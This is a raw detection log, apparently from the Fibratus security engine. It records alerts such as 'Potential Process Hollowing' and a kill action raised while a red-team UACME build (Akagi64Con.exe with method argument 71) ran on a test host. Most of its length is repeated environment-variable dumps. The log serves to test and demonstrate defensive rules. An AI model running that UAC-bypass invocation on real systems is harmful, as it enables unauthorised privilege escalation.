FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 10966809 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8063013 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: Potential Process Hollowing, tactic.name: Defense Evasion, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, subtechnique.name: Process Hollowing, subtechnique.id: T1055.012, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=executing kill action: pids=[1000] rule=Potential Process Hollowing source=rules/engine.go:294 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966871 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.815006 +0100 CET + Params: base_address➜ 7ffcbbd10000, checksum➜ 0, default_address➜ 7ffcbbd10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows 